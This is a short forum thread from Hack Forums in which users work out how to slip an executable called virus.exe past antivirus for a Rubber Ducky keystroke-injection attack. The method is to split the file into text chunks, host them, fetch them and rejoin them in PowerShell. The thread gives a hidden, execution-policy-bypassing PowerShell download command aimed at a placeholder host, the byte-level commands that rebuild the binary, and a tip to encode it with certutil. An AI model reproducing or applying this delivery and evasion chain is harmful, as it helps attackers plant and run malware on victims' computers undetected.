

Forum:[Hack Forums](#)

Thread: [Split exe into 2 text files, then join back together in powershell.](#)

Mr. Robot - April 30, 2017, 2:35 pm

So trying to figure this out.

Basically what we want to do to avoid some AVs that detect my ducky script -

1. Split a .exe into 2 text files or more,
2. Upload 2 text files to domain/server
3. Download 2 text files
4. Join 2 text files as the .exe and finally execute.

What' I am trying at the moment

```
Code gc "C:\Users\Mr Robot\Downloads\virus1.txt","C:\Users\Mr Robot\Downloads\virus2.txt" |  
out-file "C:\Users\Mr Robot\Downloads\virus.exe"
```

Rubber ducky command looks like this to download the file.

```
Code powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object  
System.Net.WebClient).DownloadFile('http://website.com/virus1.txt','C:\Users\Mr  
Robot\Downloads\virus1.txt');"
```

JoshuTee - April 30, 2017, 3:46 pm

You will have to encode and decode your executable, use the built in CERTUTIL utility.

Mr. Robot - April 30, 2017, 3:49 pm

(Apr 30, 2017 03:46 PM)JoshuTee Wrote: [\[CITE\]](#) You will have to encode and decode your executable, use the built in CERTUTIL utility.

Nope, we finally got it in the end thanks though mate.

Split with <http://www.filesplitter.org/>

Then combined in powershell

```
Code PS C:\Users\admin> gc -Encoding Byte -Path  
"C:\Users\admin\Desktop\virus.exe.chunk001","C:\Users\admin\Desktop\virus.exe.chunk002","C:\Us  
ers\admin\Desktop\virus.exe.chunk003" | sc -Encoding Byte A:\virus.exe
```